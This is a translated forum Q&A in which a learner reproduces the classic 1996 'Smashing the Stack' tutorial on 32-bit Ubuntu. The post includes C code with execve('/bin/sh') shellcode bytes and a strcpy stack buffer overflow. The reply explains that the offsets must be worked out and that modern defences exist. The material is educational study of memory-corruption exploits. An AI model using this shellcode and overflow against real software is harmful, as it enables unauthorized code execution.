[英]Using strcpy & buffer overflow to execute shell code
我一直在經歷“為樂趣和利益而粉碎堆棧”的過程,並且在通過緩沖區溢出執行shell代碼時遇到了問題。
在Linux上運行,通過帶有-fno-stack-protector -ggdb -g標簽的VirtualBox gcc編譯器的Ubuntu 32位
我的代碼與閱讀內容相同,我不明白為什么它不起作用。 我遇到了細分錯誤。 當我使用gbd進行調試時,它顯示為“ 0x08048268 in?” 我知道這意味着它無法在范圍內找到地址。 我不明白為什么它不應該這樣做。
我也在關閉堆棧保護功能。
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
large_string[127] = '\0';
strcpy(buffer,large_string);
}
那是一篇老文章,但我也引用了它。 問題在於您的代碼“與閱讀相同”。這些不是腳本中的魔術數字。 請密切注意Aleph One 如何確定該程序使用哪個值來粉碎堆棧。
並且請記住,這篇文章來自1996年,內核和GCC開發人員也已閱讀。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.